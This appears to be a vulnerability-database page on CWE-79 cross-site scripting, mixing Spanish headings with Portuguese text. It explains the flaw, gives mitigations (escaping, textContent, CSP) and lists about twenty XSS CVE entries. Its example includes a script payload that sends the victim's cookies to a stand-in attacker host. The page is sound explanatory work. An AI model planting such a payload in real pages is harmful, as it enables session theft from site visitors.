Fallos del tipo CWE-79

30.295 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2025-24574HIGHWordPress PeproDev WooCommerce Receipt Uploader plugin <= 2.6.9 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-46372MEDIUMDedeCMS 5.7.115 is vulnerable to Cross Site Scripting (XSS) via the advertisement code box in the advertisement management module.EPSS 0.3%CVE-2026-4474MEDIUMitsourcecode University Management System admin_single_student_update.php cross site scriptingEPSS 0.3%CVE-2026-81156MEDIUMRobo Gallery < 5.2.6 - Contributor+ Stored XSS via Gallery SettingsEPSS 0.3%CVE-2025-24967HIGHStored XSS on Admin Panel When Deleting a User in reNgineEPSS 0.3%CVE-2025-20116MEDIUMCisco Application Policy Infrastructure Controller Stored Cross-Site Scripting VulnerabilityEPSS 0.3%CVE-2026-13725HIGHDynamic Pricing With Discount Rules for WooCommerce < 5.0.0 - Reflected XSS via wdpAjaxEPSS 0.3%CVE-2025-15486MEDIUMKunze Law <= 2.1 - Authenticated (Administrator+) Stored Cross-Site ScriptingEPSS 0.3%CVE-2026-42794LOWReflected XSS via backslash bypass in GraphiQL js_escape in absinthe_plugEPSS 0.3%CVE-2026-9566MEDIUMteableio teable Sign-up LoginPage.tsx cross site scriptingEPSS 0.3%CVE-2025-54077MEDIUMWeGIA Reflected Cross-Site Scripting (XSS) vulnerability in endpoint 'personalizacao.php' parameter 'err'EPSS 0.3%CVE-2026-81154MEDIUMRobo Gallery < 5.2.6 - Author+ Stored XSS via Image Alt TextEPSS 0.3%CVE-2026-47948MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.3%CVE-2026-102292MEDIUMcoolbeans1212 MateisHomePage-Website users.php cross site scriptingEPSS 0.3%CVE-2025-25960MEDIUMCross Site Scripting vulnerability in phpcmsv9 v.9.6.3 allows a remote attacker to escalate privileges via the menu interface of the member EPSS 0.3%CVE-2026-47970MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.3%CVE-2026-12978HIGHFunnelKit < 3.15.0.6 - Reflected XSS via Divi Optin FormEPSS 0.3%CVE-2025-3878MEDIUMSMS Alert Order Notifications – WooCommerce <= 3.8.1 - Authenticated (Contributor+) Stored Cross-Site Scripting via sa_verify ShortcodeEPSS 0.3%CVE-2025-22764HIGHWordPress WP Post Corrector Plugin <= 1.0.2 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-13859MEDIUMBuddyBoss Platform <= 2.8.50 - Authenticated (Subscriber+) Stored Cross-Site Scripting via 'bp_nouveau_ajax_media_save' functionEPSS 0.3%